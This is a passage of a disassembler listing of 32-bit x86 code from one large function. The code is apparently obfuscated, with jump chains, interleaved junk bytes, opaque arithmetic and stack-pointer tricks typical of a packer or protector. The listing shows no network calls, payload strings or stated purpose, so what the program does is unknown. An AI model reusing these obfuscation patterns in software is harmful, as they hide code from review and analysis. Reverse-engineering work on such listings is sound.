		push	[esp+7Ch+var_78]
		pop	edx
		pop	[esp+7Ch+var_7C]
		pop	esp
		push	65C7h
		mov	[esp+78h+var_78], esi
		jmp	loc_565297
; ---------------------------------------------------------------------------
aTHuk		db 'T[hîK',0
		align 2
		dw 0C89h
		dd 20685724h, 5F422675h, 0ABE1E94Fh, 82BBFFFFh,	8128A97Ah
		dd 0E832DCE3h, 0A285E968h, 2CD2FFFFh, 49E99C24h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562003:				; CODE XREF: sub_542C3C+24EB3j
		sub	edi, 0A683EDA5h
		jmp	loc_5612CE
; ---------------------------------------------------------------------------

loc_56200E:				; CODE XREF: sub_542C3C+14DCDj
		mov	[esp+0B2h+var_B2], esp
		add	[esp+0B2h+var_B2], 4
		push	[esp+0B2h+var_B2]
		pop	esi
		sub	esp, 4
		mov	[esp+0B6h+var_B6], esi
		mov	esi, esp
		jmp	loc_55B78C
; ---------------------------------------------------------------------------
		db 5, 0A3h, 7Dh
		dd 0D32D0285h, 1559B3Ah, 8F18E9D0h, 0C481FFFFh,	4, 0FFD7A7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562045:				; CODE XREF: sub_542C3C+13C91j
		xor	esi, edi
		jmp	loc_56637D
; ---------------------------------------------------------------------------
		dd 242C335Fh, 0FF53FAE9h, 50B850FFh, 29347F3Dh,	0E9082444h
		dd 88Eh, 0B840505h, 8BC10184h, 0C4812404h, 4, 55B8E955h
		dd 0E958FFFFh, 3D67h, 0C3E3E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562086:				; CODE XREF: sub_542C3C+15C0Bj
		dec	ebp
		sub	ebp, 729B4343h
		add	ebp, 180A3192h
		sub	esi, ebp
		pop	ebp
		jmp	loc_555B09
; ---------------------------------------------------------------------------

loc_56209B:				; CODE XREF: sub_542C3C+11C07j
		mov	ecx, edi
		pop	edi
		pop	esi
		mov	esi, ecx
		jmp	loc_56040A
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 5093774Eh, 0C281F201h, 5093774Eh, 74FF525Eh,	8F5A0424h
		dd 0CAE92404h, 83FFFF4Eh, 48F04C4h, 24248B24h, 82E95653h
		dd 0B9FFFFFEh, 425A39B8h, 8159CF89h, 0EC2F06C7h, 0BAF78167h
		dd 81AA4668h, 0BE4D7FC1h, 81F90148h, 0BE4D7FE9h, 0E9815F48h
		dd 4, 0FF8A50E9h, 50C9FEFFh, 0E980F8B0h, 0CFC1805Fh, 79E9C100h
		dd 68FFFF24h, 5682h, 0BF243C89h, 4, 7886E981h, 0E9815C29h
		dd 1D365CDFh, 0FFEF98E9h, 0CA815DFFh, 6ABC25DEh, 0FF9EA0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56213D:				; CODE XREF: sub_542C3C+13931j
		shl	dl, 2
		xor	dl, 0B3h
		and	dl, 4Eh
		add	dl, 0D0h
		push	bx
		jmp	loc_557342
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 0E9240C8Bh, 60A4h
		dd 4B9h, 8BCB0100h, 8956240Ch, 4C681E6h, 81000000h, 4C6h
		dd 24348700h, 0FFCC34E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562189:				; CODE XREF: sub_542C3C+14EF5j
		push	esp
		jmp	loc_55E252
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0EE81FE01h, 32A6DE4h, 176BE9h
		db 0
; ---------------------------------------------------------------------------

loc_56219D:				; CODE XREF: sub_542C3C+12435j
		mov	ah, dh
		pop	edx
		jmp	loc_55617B
; ---------------------------------------------------------------------------

loc_5621A5:				; CODE XREF: sub_542C3C+24475j
		mov	esi, [esp+94h+var_94]
		push	ebx
		mov	ebx, esp
		jmp	loc_556D2B
; ---------------------------------------------------------------------------

loc_5621B0:				; CODE XREF: sub_542C3C+19DB4j
		sub	ebp, edx
		jmp	loc_558D84
; ---------------------------------------------------------------------------
		db 81h
		dd 8419A7C2h, 48E95851h, 0C0FFFF76h, 0B15108E6h, 0D2C18088h
		dd 0E980D9F6h, 59CE3010h, 88F48850h, 528EE9E5h,	13B90000h
		dd 0C144BC42h, 0C98103E1h, 44E72D41h, 0C642E981h, 0CD3129CDh
		dd 0FF3AFAE9h, 1FA568FFh, 0AEE90000h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562203:				; CODE XREF: sub_542C3C+184AFj
		push	esp
		mov	ebx, [esp+4Ch+var_4C]
		jmp	loc_566FA1
; ---------------------------------------------------------------------------
		dd 92D2F792h, 6229BF57h, 0F829D620h, 58C2015Fh,	8324348Bh
		dd 0D6E904C4h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562227:				; CODE XREF: sub_542C3C+1CE69j
		sub	ebp, ebx
		jmp	loc_5592E5
; ---------------------------------------------------------------------------
		dd offset dword_4F4844+724h
		dw 8900h
		dd 0D9E9241Ch
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56223B:				; CODE XREF: sub_542C3C+112D0j
		push	[esp+70h+var_6C]
		pop	edi
		jmp	loc_56362B
; ---------------------------------------------------------------------------

loc_562245:				; CODE XREF: sub_542C3C+17A32j
		add	esp, 4
		add	ebp, 4
		push	6788h
		jmp	loc_55AF9C
; ---------------------------------------------------------------------------

loc_56225B:				; CODE XREF: sub_542C3C+1D699j
		mov	edx, edi
		jmp	loc_55560B
; ---------------------------------------------------------------------------
		dw 0D368h
		dd 0E9000079h, 289Dh
; ---------------------------------------------------------------------------

loc_56226C:				; CODE XREF: sub_542C3C+212F6j
		push	[esp+0AAh+var_A6]
		pop	edi
		pop	[esp+0AAh+var_AA]
		pop	esp
		mov	ebx, esi
		push	[esp+0A2h+var_A2]
		mov	esi, [esp+0A6h+var_A6]
		add	esp, 4
		jmp	loc_55AD8D
; ---------------------------------------------------------------------------
aZAHq		db '‡,$\€Æšhï]',0
		dd 24048900h, 0B35344B0h, 0E9C3FE59h, 0FFFFB9FDh, 681BE981h
		dd 0E9C12039h, 8E1C103h, 6338E9h, 0E9E20800h, 0FFFF2CA5h
		dd 6268E089h, 8900001Dh, 4BA2414h, 1000000h, 2434FFD0h
		dd 4C4835Ah, 405h, 24048700h, 53FA015Ch, 0FF4F2AE9h, 24048FFFh
		dd 4240481h, 0E9000000h, 5078h,	65AF68h, 24248900h, 4240483h
		dd 5A2434FFh, 5004C483h, 1F55BF57h, 0F7810079h,	66130245h
		dd 975FF889h, 5197D7F7h, 9E2901B9h, 5F17E970h, 248B0000h
		dd 0E2895224h, 5BE95050h, 8100004Eh, 813454F2h,	2434FF5Ch
		dd 4C4815Bh, 51000000h,	0B31AC3B9h, 59CA3135h, 26C4E9h
		dd 26E9AD00h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562353:				; CODE XREF: sub_542C3C+18D0Cj
		sub	al, 2Eh
		pop	dx
		add	al, 57h
		jmp	loc_55C07F
; ---------------------------------------------------------------------------

loc_56235E:				; CODE XREF: sub_542C3C+210FBj
		pop	esp
		push	4209h
		mov	[esp+7Eh+var_80+2], ebx
		push	7289h
		mov	[esp+82h+var_84+2], esp
		add	[esp+82h+var_84+2], 4
		jmp	loc_55F9B0
; ---------------------------------------------------------------------------
		dd 0C1E1D15Dh, 0EC8107E1h, 4, 0B8240489h, 7F88744Eh, 0FFE44CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562391:				; CODE XREF: sub_542C3C+15DD8j
		or	ecx, 67BD5338h
		xor	ecx, 400B0A78h
		jmp	loc_559400
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 0A5F7E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5623AA:				; CODE XREF: sub_542C3C+23745j
		xchg	ebx, edi
		dec	ebx
		jmp	loc_563FB9
; ---------------------------------------------------------------------------

loc_5623B2:				; CODE XREF: sub_542C3C+20867j
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 6EC27614h
		jmp	loc_556E5A
; ---------------------------------------------------------------------------
		dd 24048B66h, 7D168h, 243C8900h, 5404EC83h, 8124048Fh
		dd 42404h, 3C8B0000h, 4C48324h,	1C6168h, 616EE900h, 5B660000h
		dd 0D000E704h, 665AE72Ch, 68240C8Bh, 3064h, 54243489h
		dd 3ED3E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56240A:				; CODE XREF: sub_542C3C+14D3Cj
		push	ebp
		mov	ebp, 173D45E8h
		jmp	loc_55C2C5
; ---------------------------------------------------------------------------

loc_562415:				; CODE XREF: sub_542C3C+17C96j
		push	7B31h
		mov	[esp+80h+var_80], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_557974
; ---------------------------------------------------------------------------

loc_56242C:				; CODE XREF: sub_542C3C+25312j
		add	eax, esi
		add	eax, 47D55B3Ah
		pop	esi
		xchg	eax, [esp+80h+var_80]
		pop	esp
		jmp	loc_55AFD2
; ---------------------------------------------------------------------------
aXhV		db 'Xh|V',0
		dw 0E900h
		dd 0FFFF39C9h
; ---------------------------------------------------------------------------

loc_562448:				; CODE XREF: sub_542C3C+11A33j
		shr	edx, 4
		xor	edx, 58E553CDh
		jmp	loc_55FE91
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E3895324h, 0FFB7FCE9h, 240487FFh, 3F02685Ch, 0C890000h
		dd 0C3895324h, 685BD989h, 64C3h, 51243C89h, 0FF3CDEE9h
		dd 14F755FFh, 0C9E95D24h, 8BFFFF6Ah, 0C4812404h, 4, 8B242C87h
		dd 0F662424h, 5B68C8BEh, 8900002Fh, 8B542434h, 0C4E92434h
		dd 28FFFFACh, 4EE04C8h,	2434FFB2h, 83240C8Bh, 895304C4h
		dd 4C381E3h, 83000000h,	1C8704C3h, 24248B24h, 0C006B353h
		dd 0CB8004E3h, 5CEB8026h, 88C380h, 25C3E9D8h, 0E9500000h
		dd 24CBh
; ---------------------------------------------------------------------------

loc_5624EC:				; CODE XREF: sub_542C3C+19F2Cj
		sub	edi, 78467EA6h
		mov	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+94h+var_94]
		pop	esp
		mov	[esp+90h+var_90], eax
		mov	eax, 2DFC39BAh
		jmp	loc_563A36
; ---------------------------------------------------------------------------

loc_562509:				; CODE XREF: sub_542C3C+1D119j
		sub	esi, ecx
		push	edx
		mov	edx, 5F053778h
		jmp	loc_5667FB
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95E0424h, 0FFFF1410h
; ---------------------------------------------------------------------------

loc_562520:				; CODE XREF: sub_542C3C+19492j
		add	esi, 8814E804h
		jmp	loc_567F49
; ---------------------------------------------------------------------------
		db 89h
		dd 36E9240Ch, 5BFFFF9Ah, 8904EC83h, 0E6882414h,	0FF5AF788h
		dd 0D3E92434h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562547:				; CODE XREF: sub_542C3C+1351Ej
		and	edi, eax
		pop	eax
		jmp	loc_55C5E1
; ---------------------------------------------------------------------------
		db 66h
		dd 2825B450h, 6F13E9E3h, 0E589FFFFh, 4C581h, 0C5810000h
		dd 4, 5C242C87h, 31241433h, 14332414h, 2C895C24h, 4EC8324h
		dd 0FFD665E9h, 242C33FFh, 33242C31h, 6DE9242Ch,	59FFFF14h
		dd 0E9240C8Bh, 0FFFFBE29h
; ---------------------------------------------------------------------------

loc_562598:				; CODE XREF: sub_542C3C+1A089j
		xchg	ebp, [esp+7Ch+var_7C]
		jmp	loc_55FD75
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F3010000h, 3D9AE95Eh, 4B9FFFFh, 52000000h
		dd 142EDBAh, 0FE1E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5625BE:				; CODE XREF: sub_542C3C+12F57j
		xchg	esi, [esp+8Eh+var_90+2]
		push	[esp+8Eh+var_90+2]
		jmp	loc_558F38
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 5
		dd 2957ED81h, 0F74D48CBh, 0C552E9D5h, 0A0B1FFFFh, 96B45066h
		dd 0F606E4C0h, 80DCF6DCh, 0EC80CCC4h, 5CEC80A3h, 5866E100h
		dd 0FF1362E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5625F9:				; CODE XREF: sub_542C3C+1BCEEj
		shr	edi, 8
		jmp	loc_555582
; ---------------------------------------------------------------------------
		db 87h,	0CDh, 87h
		dd 35B5E9EAh, 2C89FFFFh, 4BD24h, 0EE010000h, 341EE95Dh
		dd 2EB20000h, 1DB55166h, 5966EA28h, 5303E2C0h, 0F380AEB3h
		dd 25EA80A1h, 0C280DA28h, 0B4CAE925h, 2BFFFFFh,	1000000h
		dd 69E95FFBh, 89FFFF3Ah, 0D9BB53E0h, 0E9710812h, 0FFFF8E46h
		dd 0C7ECD81h, 0ED811697h, 0B0950552h, 3C5DC781h, 0EF015F21h
		dd 3C5DEF81h, 0F75D5F21h, 0CB67E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562676:				; CODE XREF: sub_542C3C+18597j
		xor	eax, edi
		mov	edi, [esp+74h+var_74]
		add	esp, 4
		xor	ebx, eax
		push	197Fh
		mov	[esp+74h+var_74], eax
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dd 8324048Fh, 0E9042404h, 391Eh, 3304C283h, 7DE92414h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5626A7:				; CODE XREF: sub_542C3C+1E2CDj
		pop	eax
		push	ebx
		push	esp
		jmp	loc_554B53
; ---------------------------------------------------------------------------
		db 89h
		dd 5D54242Ch, 0E904EC83h, 0FFFFE660h, 0E289525Ah, 4C281h
		dd 0C2830000h, 24148704h, 0E389535Ch, 0FF54E7E9h, 81E589FFh
		dd 4C5h, 4C58100h, 0E9000000h, 0FFFFFB9Dh, 2B60F66h, 28066866h
		dd 24048966h, 0FF0E53E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5626F9:				; CODE XREF: sub_542C3C+14FADj
		mov	esp, [esp+4Ch+var_4C]
		jmp	loc_567C3B
; ---------------------------------------------------------------------------
		db 0BDh, 5Ch, 18h
		dd 0E8012F33h, 0E9D0015Dh, 0FFFFA570h
; ---------------------------------------------------------------------------

loc_562710:				; CODE XREF: sub_542C3C+1191Ej
		xchg	esi, [esp+7Ch+var_7C]
		pop	esp
		and	al, bl
		pop	bx
		push	73A3h
		mov	[esp+7Ah+var_7C+2], esi
		jmp	loc_566CD2
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 10E1E9h, 24048B00h, 575768h,	243C8900h, 0FF112FE9h
		dd 56D9F7FFh, 5C330DBEh, 4AF6816Eh, 21390416h, 0F1815EF1h
		dd 313D2A49h, 0E959CD89h, 0FFFFB6D1h, 66F58766h, 1ECFF581h
		dd 5EDC166h, 0FF3AE2E9h, 241489FFh, 3997E957h, 8B660000h
		dd 0CDE92424h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56277F:				; CODE XREF: sub_542C3C+14493j
		mov	bl, al
		pop	ax
		xor	bl, 0E4h
		jmp	loc_560B96
; ---------------------------------------------------------------------------

loc_56278B:				; CODE XREF: sub_542C3C+15AB3j
		push	608Eh
		mov	[esp+8Ch+var_8C], ecx
		jmp	loc_558A03
; ---------------------------------------------------------------------------

loc_562798:				; CODE XREF: sub_542C3C+1B0FEj
		xor	word ptr [esp+8Ch+var_8C], ax
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_5627A2:				; CODE XREF: sub_542C3C+138B2j
		mov	ebp, [esp+84h+var_84]
		add	esp, 4
		push	eax
		jmp	loc_55C16D
; ---------------------------------------------------------------------------

loc_5627AE:				; CODE XREF: sub_542C3C+196C8j
		push	esi
		mov	esi, 5BE57009h
		push	edi
		push	0FFFFFFFFh
		pop	edi
		sub	esi, edi
		pop	edi
		jmp	loc_563193
; ---------------------------------------------------------------------------
		db 0FFh
a4Xh		db '4$Xh|!',0
		align 4
		dd 81242C89h, 4ECh, 8CE95400h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5627DB:				; CODE XREF: sub_542C3C+22384j
		shr	bh, 3
		add	bh, 0A9h
		jmp	loc_55A28F
; ---------------------------------------------------------------------------

loc_5627E6:				; CODE XREF: sub_542C3C+206FAj
		add	[esp+9Ch+var_98], 5069348Bh
		jmp	loc_55B767
; ---------------------------------------------------------------------------
		db 59h
		dd 5C24048Fh, 555EF231h, 0A9034968h, 0CEE95D6Dh, 55FFFFC9h
		dd 0FF3D93E9h, 4FE681FFh, 8114544Ch, 0E26D30C6h, 0C832E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56281E:				; CODE XREF: sub_542C3C+1C352j
		sub	esi, 15ED73D5h
		push	0
		sub	[esp+0A0h+var_A2+2], esi
		pop	esi
		shl	esi, 3
		inc	esi
		xor	esi, 1FB033Bh
		jmp	loc_553854
; ---------------------------------------------------------------------------
		dd 0E1D1D1F7h, 0F704E9C1h, 0A8E3E9D9h, 8B54FFFFh, 0C481240Ch
		dd 4, 4C181h, 0BE560000h, 4, 16F5E9h, 243C8B00h, 4EC81h
		dd 2C890000h, 81E58924h, 4C5h, 389BE900h, 0D968FFFFh, 0E900001Bh
		dd 0FFFF8A49h, 4244481h, 1D976AC2h, 4247C01h, 4246C81h
		dd 1D976AC2h, 2434FF5Fh, 4C4815Bh, 52000000h, 0FFE50CE9h
		dd 4C483FFh, 81240401h,	0ECE242Ch, 0BE567223h, 3FD72A64h
		dd 0FF69FDE9h, 79F1B9FFh, 81492ABFh, 38351BE1h,	0C9814176h
		dd 16A73C7Fh, 3695E981h, 0E9571321h, 3D35h, 4C481h, 50510000h
		dd 0D23CE955h, 8B58FFFFh, 0C483242Ch, 0C3815B04h, 113B278Fh
		dd 5BD82958h, 0A8403705h, 0E6895665h, 4C681h, 0EE830000h
		dd 24348704h, 0FF2816E9h, 24248BFFh, 2E83E9h, 241C8900h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 8E92404h
		dd 81000008h, 751C70E9h, 81D10153h, 751C70C1h, 818BE953h
		dd 34FFFFFFh, 89515824h, 376268E1h, 34890000h, 815E5424h
		dd 4C6h, 4EE8100h, 0E9000000h, 0FFFF4EC9h
; ---------------------------------------------------------------------------

loc_562978:				; CODE XREF: sub_542C3C+12998j
		pop	eax
		jmp	loc_556CB0
; ---------------------------------------------------------------------------
		dw 34FFh
aZrhy		db '‡Rhy|',0
		dw 8900h
		dd 0EC81242Ch, 4, 0BF243C89h, 278B5159h, 0DFF7E7D1h, 1338F781h
		dd 0EC813E40h, 4, 0B9240C89h, 64540486h, 0E202E981h, 0CF21F6D7h
		dd 83240C8Bh, 0F78104C4h, 35AF1D72h, 0A5FB951h,	0C7810D5Bh
		dd 6A604165h, 0EF81CF01h, 6A604165h, 0FF52BFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5629DD:				; CODE XREF: sub_542C3C+11E7Fj
		sub	al, dl
		jmp	loc_567A20
; ---------------------------------------------------------------------------
		dd 4B8h, 70E95000h, 83000023h, 2FB604C4h, 0C8BEE28h, 4C48324h
		dd 5302E6C0h, 0EB80E1B3h, 0DCB805Dh, 5244B551h,	536647B6h
		dd 0B4506652h, 66E68897h, 5AF38858h, 0FF5D2FE9h, 4EC81FFh
		dd 89000000h, 0E189240Ch, 4C181h, 1CE90000h, 0B8FFFFC4h
		dd 5CA35679h, 745AE951h, 3C89FFFFh, 2237BF24h, 0F8292088h
		dd 0B62FE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562A52:				; CODE XREF: sub_542C3C+1F343j
		sub	esi, 40887195h
		add	esi, ecx
		add	esi, 40887195h
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		push	esi
		not	[esp+74h+var_74]
		mov	esi, [esp+74h+var_74]
		jmp	loc_55D6AC
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 55242489h, 4BDh, 18E95000h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562A87:				; CODE XREF: sub_542C3C+1D25Bj
		mov	[esp+94h+var_94], esi
		mov	esi, 2ED45693h
		add	esi, 0FFFFFFFFh
		shl	esi, 4
		jmp	loc_566ABD
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 38FCE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562AA2:				; CODE XREF: sub_542C3C+133F0j
		mov	esi, 4
		jmp	loc_556A5E
; ---------------------------------------------------------------------------

loc_562AAC:				; CODE XREF: sub_542C3C+161DAj
		mov	ebp, [esp+84h+var_84]
		jmp	loc_558599
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 10AB5085h, 6839E781h, 0EF81378Bh, 108B3FFDh
		dd 31BB5357h, 0E95A9F53h, 0FFFF2D17h, 99368h, 241C8900h
		dd 76B6E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562AE2:				; CODE XREF: sub_542C3C+1D2C5j
		push	[esp+0A6h+var_A6]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp+0A6h+var_A6], edx
		push	esp
		mov	edx, [esp+0AAh+var_AA]
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_55A86D
; ---------------------------------------------------------------------------

loc_562B07:				; CODE XREF: sub_542C3C+1947Dj
		push	6528h
		mov	[esp+0AEh+var_AE], ebx
		mov	ebx, 798231FCh
		mov	ecx, 0A52B81B1h
		add	ecx, ebx
		pop	ebx
		sub	edi, ecx
		pop	ecx
		push	edi
		jmp	loc_553EFC
; ---------------------------------------------------------------------------
		db 1, 0CAh, 0E9h
		dd 3884h, 8904EC83h, 0E2892414h, 4EC81h, 3C890000h, 90BA5224h
		dd 0C175912Bh, 0EA8102EAh, 1, 4ADFBB53h, 0DA291D64h, 5F58685Bh
		dd 4890000h, 89D08924h,	835A58C7h, 1E904ECh
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B6B:				; CODE XREF: sub_542C3C+191A6j
		sub	esp, 4
		mov	[esp+98h+var_98], ebx
		push	[esp+98h+var_94]
		mov	ebx, [esp+9Ch+var_9C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_563F82
; ---------------------------------------------------------------------------
		db 0BAh, 58h, 0FEh
		dd 0D529149Eh, 5DEE015Ah, 48E9F021h, 66FFFF7Ch,	9C241CF7h
		dd 0FF09A7E9h, 9BED81FFh, 147AE6Bh, 9BC581CDh, 5947AE6Bh
		dd 4118BF57h, 0E78150F8h, 22B67C91h, 8107EFC1h,	0D8068CEFh
		dd 0A31E9A9h, 535DFFFFh, 6B1337BBh, 7AE94329h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562BDB:				; CODE XREF: sub_542C3C+1F1DBj
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55E438
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 348758C6h,	0C73AE924h, 5D59FFFFh, 73E9D801h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562C03:				; CODE XREF: sub_542C3C+15009j
		xor	esi, edi
		jmp	loc_55CBF0
; ---------------------------------------------------------------------------

loc_562C0A:				; CODE XREF: sub_542C3C+1BBE2j
		push	ebp
		push	ecx
		push	17957F8Fh
		pop	ecx
		jmp	loc_55C435
; ---------------------------------------------------------------------------
		db 0BBh
		dd 58F25831h, 8245C29h,	67B9515Bh, 2966EA19h, 5908244Ch
		dd 0FF8D9AE9h, 74FF53FFh, 8F5B0424h, 0E95C2404h, 42FFh
; ---------------------------------------------------------------------------

loc_562C40:				; CODE XREF: sub_542C3C+21A65j
		add	ebp, 4
		push	edi
		mov	edi, 4FFB720Eh
		push	4476h
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, 47732420h
		or	edi, ecx
		pop	ecx
		dec	edi
		add	edi, 0B00489D7h
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+94h+var_94]
		xor	[esp+94h+var_94], ebp
		xor	ebp, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		xor	eax, [esp+94h+var_94]
		xor	[esp+94h+var_94], eax
		xor	eax, [esp+94h+var_94]
		pop	esp
		jmp	loc_562CAC
; ---------------------------------------------------------------------------

loc_562C81:				; CODE XREF: sub_542C3C+1AA31j
		add	ecx, 1E9909B3h
		add	ecx, edi
		sub	ecx, 1E9909B3h
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		push	7699h
		mov	[esp+5Ch+var_5C], edi
		push	edx
		jmp	loc_56840F
; ---------------------------------------------------------------------------

loc_562CA6:				; CODE XREF: sub_542C3C+238F2j
		pop	ecx
		jmp	loc_55EEDB
; ---------------------------------------------------------------------------

loc_562CAC:				; CODE XREF: sub_542C3C+20040j
		div	cx
		jmp	loc_5664DB
; ---------------------------------------------------------------------------
		dd 2474FF57h, 243C8B04h, 0E904C483h, 0FFFFC7C5h, 240C8B66h
		dd 2C8B5455h, 0E3895324h, 4C381h, 0B9510000h, 4, 0E959CB01h
		dd 0FFFFA6EDh, 8904EC83h, 0BA522424h, 4, 0FF9340E9h, 0F5814DFFh
		dd 0A97E78ACh, 0E95DE929h, 0DADh, 144540BDh, 5B8CE91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562D0E:				; CODE XREF: sub_542C3C+2055Fj
		mov	ebx, [esp+90h+var_90]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+94h+var_94]
		pop	esp
		xor	ebp, esi
		mov	esi, [esp+90h+var_90]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_553A8B
; ---------------------------------------------------------------------------

loc_562D36:				; CODE XREF: sub_542C3C+1B850j
		push	[esp+58h+var_54]
		pop	eax
		pop	[esp+58h+var_58]
		pop	esp
		push	esi
		mov	esi, 0B4D6E0Bh
		xor	eax, esi
		jmp	loc_5609E4
; ---------------------------------------------------------------------------

loc_562D4C:				; CODE XREF: sub_542C3C+1A92Fj
		pop	esp
		mov	[esp+58h+var_58], edi
		mov	edi, 6065067Ah
		jmp	loc_565259
; ---------------------------------------------------------------------------

loc_562D5A:				; CODE XREF: sub_542C3C+11396j
		push	[esp+70h+var_70]
		mov	eax, [esp+74h+var_74]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 286F6762h
		sub	eax, 0D0B3F04h
		xor	eax, 78DD0976h
		sub	eax, 0FFFFFFFFh
		jmp	loc_564CB9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C7E9D989h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562D8B:				; CODE XREF: sub_542C3C+1E42Fj
		push	esi
		push	[esp+8Ch+var_88]
		pop	esi
		jmp	loc_55FCA8
; ---------------------------------------------------------------------------
aIrh		db '‰àhÞ-',0
		dd 242C8900h, 4BDh, 5DE80100h, 3304C083h, 0CDE92404h, 52000029h
		dd 5059BE56h, 0F2890B80h, 5D75E95Eh, 815AFFFFh,	4C2h, 4EA8300h
		dd 781D68h, 24148900h, 42474FFh, 24048F5Ah, 2414895Ch
		dd 2B4DBB53h, 0DA896F4Fh, 4E2C15Bh, 240CFF52h, 0CBEA815Ah
		dd 0E9F4F2B4h, 0FFFF1780h
; ---------------------------------------------------------------------------

loc_562DFC:				; CODE XREF: sub_542C3C+2112Bj
		mov	ebp, [esp+8Ch+var_8C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+90h+var_90]
		pop	esp
		push	6C40h
		mov	[esp+90h+var_90], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_55C235
; ---------------------------------------------------------------------------

loc_562E23:				; CODE XREF: sub_542C3C+1181Bj
		inc	ebp
		sub	ebp, 2F87754Ah
		add	ebp, 0ECC3210h
		jmp	loc_567C7E
; ---------------------------------------------------------------------------

loc_562E35:				; CODE XREF: sub_542C3C+1E46Cj
		push	small 6BBh
		mov	word ptr [esp+88h+var_88], bx
		mov	bl, 68h
		xor	al, bl
		pop	bx
		sub	bl, 0B4h
		jmp	loc_563881
; ---------------------------------------------------------------------------
aB_7hl		db 'Ã.',7,'Å7hl*',0
		align 2
		dw 3C89h
		dd 61ACBF24h, 0D7F746D6h, 72206847h, 0C890000h,	37F9B924h
		dd 0BE5634A9h, 7335382Dh, 815EF101h, 69602FE1h,	0F1F18165h
		dd 173AF35h, 4AA2E9CFh,	5049FFFFh, 0F9250AB8h, 0E9C1214Eh
		dd 4A24h, 3595E95Dh, 8158FFFFh,	0D31431C6h, 0FFF2899Dh
		dd 815E2434h, 4C4h, 0FFD10100h,	555A2434h, 0FF2A28E9h
		dd 6D0DB8FFh, 0D8F7612Bh, 8185A035h, 8BC709EBh,	0C4832404h
		dd 824CE904h, 0EB31FFFFh, 5EF3B951h, 0D1F70DFFh, 7A2BE181h
		dd 0D1F7502Ah, 6903E181h, 0D9F77E55h, 594DE981h, 0CB016680h
		dd 2E3C159h, 1C381h, 0C3810000h, 0FC3EC049h, 0FF6031E9h
		dd 4C381FFh, 81000000h,	4C3h, 351AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F1E:				; CODE XREF: sub_542C3C+206B5j
		add	esp, 4
		jmp	loc_55DC71
; ---------------------------------------------------------------------------

loc_562F29:				; CODE XREF: sub_542C3C+18B3Aj
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		jmp	loc_56012F
